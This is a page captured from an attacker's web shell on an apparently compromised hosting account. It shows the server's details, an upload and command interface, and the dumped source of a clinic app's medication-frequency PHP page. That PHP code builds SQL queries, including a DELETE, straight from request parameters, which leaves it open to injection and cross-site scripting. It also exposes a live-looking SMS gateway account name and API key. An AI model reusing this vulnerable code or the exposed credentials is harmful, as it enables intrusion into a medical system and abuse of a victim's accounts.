Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.129.42.243
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//frequency_add.php
<?php
session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
require_once('../patientmanager.php');
include 'workdeskmenu.php';
include 'header.php';
include("dbconnection.php");
if(isset($_POST[signup]))
{ 
      PatientManager::frequency("$_POST[type]","$_POST[typeid]","$_POST[frq]","$_POST[route]","$_POST[duration]","$_POST[potential]","$_POST[adminid]","$_GET[drid]","$_GET[surgeryid]","$_POST[entered_by]");
      
}
?>


<?php
include("dbconnection.php");
if(isset($_GET[delid]))
{
	$sql ="DELETE FROM frequency WHERE id='$_GET[delid]'";
	$qsql=mysqli_query($con,$sql);
	if(mysqli_affected_rows($con) == 1)
	{
		echo "<script>alert('Deleted successfully..');</script><script>window.location='frequency_add.php?drid=$_GET[drid]&surgeryid=$_GET[surgeryid]'</script>;";
	}
}
?>

    <style>

 
/* Automatic Serial Number Row */
.css-serial {
 counter-reset: serial-number; /* Set the serial number counter to 0 */
}
.css-serial td:first-child:before {
 counter-increment: serial-number; /* Increment the serial number counter */
 content: counter(serial-number); /* Display the counter */
}
</style>

<form name='signup' method='post'>


		    <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
    <section class='content-header'>
    <div class='center'>
    
    <table id='example2' width='100%' class='table table-bordered table-hover'>
        <?php 
include("dbconnection.php");
$username = "ventexint@gmail.com";
    $apikey = "eebcced9-0ca1-4a6f-940b-c616276e2ec9";
    $sendername = "EASNUP";
		 $narayan=LoginManager::currentUser();
        $hari=LoginManager::getUserTypeByuname("$narayan");
        	$sql ="SELECT * FROM site_users WHERE userno='$hari'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql))
		{
		$sql ="SELECT * FROM admin WHERE id='$re[entered_by]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo"
<input type='hidden' name='adminid' value='$rs[id]'>
<input type='hidden' name='entered_by' value='$hari'>
<input type='hidden' name='type' value='medicine'>
";
}
}
?>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Medicine Name:  </td>
<td width='50%'><select name='typeid' required>
    		<?php
				session_start();
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
$sql ="SELECT * FROM medicine_stok WHERE admin_id='$re[entered_by]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
     echo " 
     <option value='$rs[medicine_id]'>$rs[DRUGS_name]-$rs[Dose]</option>
                   
          
          ";
}
}
?> 
    
</select></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Route:   </td><td width='50%'><select name="route" id="Route">
    <option value="" disabled selected>Route  </option>
    <option value="Orally">Orally</option>
    <option value="IV/IM">IV/IM</option>
    <option value="Sublingually/ Buccally">Sublingually/ Buccally</option>
    <option value="Vaginally">Vaginally</option>
    <option value="Ocular/Otic">Ocular/Otic </option>
    <option value="Nasally">Nasally</option>
    <option value="Inhalation/Nebulization">Inhalation/Nebulization</option>
    <option value="cutaneously/systemic">cutaneously/systemic</option>
    <option value="transdermally">transdermally</option>
      <option value="Rectal">Rectal</option>
	</select>
	</td></tr><tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Frequency:   </td><td width='50%'>
				<select class="form-control"  name="frq" class="form-control">
    <option value="" disabled selected>Frequency  </option>
    <option value="01">OD (Once Daily)</option>
    <option value="2">BID/b.i.d. (twice a day)</option>
    <option value="3">TID/t.id. (three times a day)</option>
    <option value="04">QID/q.i.d. (four times a day)</option>
    <option value="1"> QHS (every bedtime) </option>
    <option value="6">Q4h (every 4 hours)</option>
    <option value="4">Q4-6h (every 4 to 6 hours)</option>
    <option value="0.143">QWK (every week)</option>
	</select></td></tr>
	<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Duration:  </td><td width='50%'>
	    <input type="number" placeholder='In Days' name="duration"></td></tr>
	    	<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;    Note</td>
	   <td width='50%'> <input type="text" placeholder="Instruction, Potential side effects, Food Intake" name="potential"></td></tr>



</div>
</table>

 <table id='example2' class='table table-bordered table-hover'>
<tr>

<td><button type="submit" name="signup">Proceed</butoon>
</tr>
</table>




</form>


    <table id="example2"  class="order-table table table-bordered table-hover css-serial">
                  <thead>
         
						<tr>
						    <th>SR No</th>
						    <th>Medicine Details</th>
							<th>Action</th>
						</tr>
				
      
                  </thead>
<?php
include("dbconnection.php");

		    $sql12 ="SELECT * FROM frequency WHERE drid='$_GET[drid]' AND surgeryid='$_GET[surgeryid]'";
$qsql12 = mysqli_query($con,$sql12);
while($rs12 = mysqli_fetch_array($qsql12))
{
$sql ="SELECT * FROM medicine_stok WHERE medicine_id='$rs12[typeid]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
     echo " <tbody>
            <tr>    
            <td>&nbsp;</td>
            <td> <b><b>Drug : </b>$rs[DRUGS_name] <br><b>Dose : </b>$rs[Dose]<br><b>Packing Size </b>$rs[size] <br><b>Contain </b>$rs[Contain]<br>";echo "<b>Frequency :</b> ";
	   
switch ($rs12[frq]) {
  case '01':
    echo "OD (Once Daily)";
    break;
      case '2':
    echo "BID/b.i.d. (twice a day)";
    break;
     case '3':
    echo "TID/t.id. (three times a day)";
    break;
     case '04':
    echo "QID/q.i.d. (four times a day)";
    break;
     case '1':
    echo "QHS (every bedtime)";
    break;
    
     case '6':
    echo "Q4h (every 4 hours)";
    break;
    
     case '4':
    echo "Q4-6h (every 4 to 6 hours)";
    break;
    
     case '0.143':
    echo "QWK (every week)";
    break;
    
        default:
    echo "";
} echo"<br><b>Duration : </b> $rs12[duration]   ";
	   
switch ($rs12[duration]) {
  case '1':
    echo "Days";
    break;
      case '7':
    echo "Week";
    break;
case '28':
    echo "Month";
    break;

        default:
    echo "";
}
echo"<br>
<b>Note :</b>$rs12[potential]</td>
              		 <td><div class='btn-group'>
	  <button type='button' class='btn btn-default dropdown-toggle' data-toggle='dropdown' aria-haspopup='true' aria-expanded='false'>
	    Action <span class='caret'></span>
	  </button>
	  <ul class='dropdown-menu'>
	  ";?>
	      <li><a href='frequency_add.php?delid=<?php echo $rs12[id] ?>&drid=<?php echo $_GET[drid] ?>&surgeryid=<?php echo $_GET[surgeryid] ?>' onclick="return confirm('Are you sure?')"> <i class='fa fa-trash-o'></i> Remove</a></li>
	  
	  <?php echo "
	  </ul>
	</div></td>
              					
          </tr>                   
          
          ";
}
}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
        
        </div>
<html>
 <head>
               <style>
                     
       .center {
   border: 1px solid grey;
   text-align:;
}
h2 {
  color: #4287f5;
}
</style>
               
           </head>
   


<script>
 function typevisitVA(drmeid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divmedidr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loadtypevisit.php?drmeid="+drmeid,true);
        xmlhttp.send();
}
            
     
</script>
          
 <head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/js/standalone/selectize.min.js" integrity="sha256-+C0A5Ilqmu4QcSPxrlGpaZxJ04VjsRjKu+G82kl5UJk=" crossorigin="anonymous"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/css/selectize.bootstrap3.min.css" integrity="sha256-ze/OEYGcFbPRmvCnrSeKbRTtjG4vGLHXgOqsyLFTRjg=" crossorigin="anonymous" />
</head>
  <script>

  $(document).ready(function () {
      $('select').selectize({
          sortField: 'text'
      });
  });
  </script>






Anon7 - 2022
AnonSec Team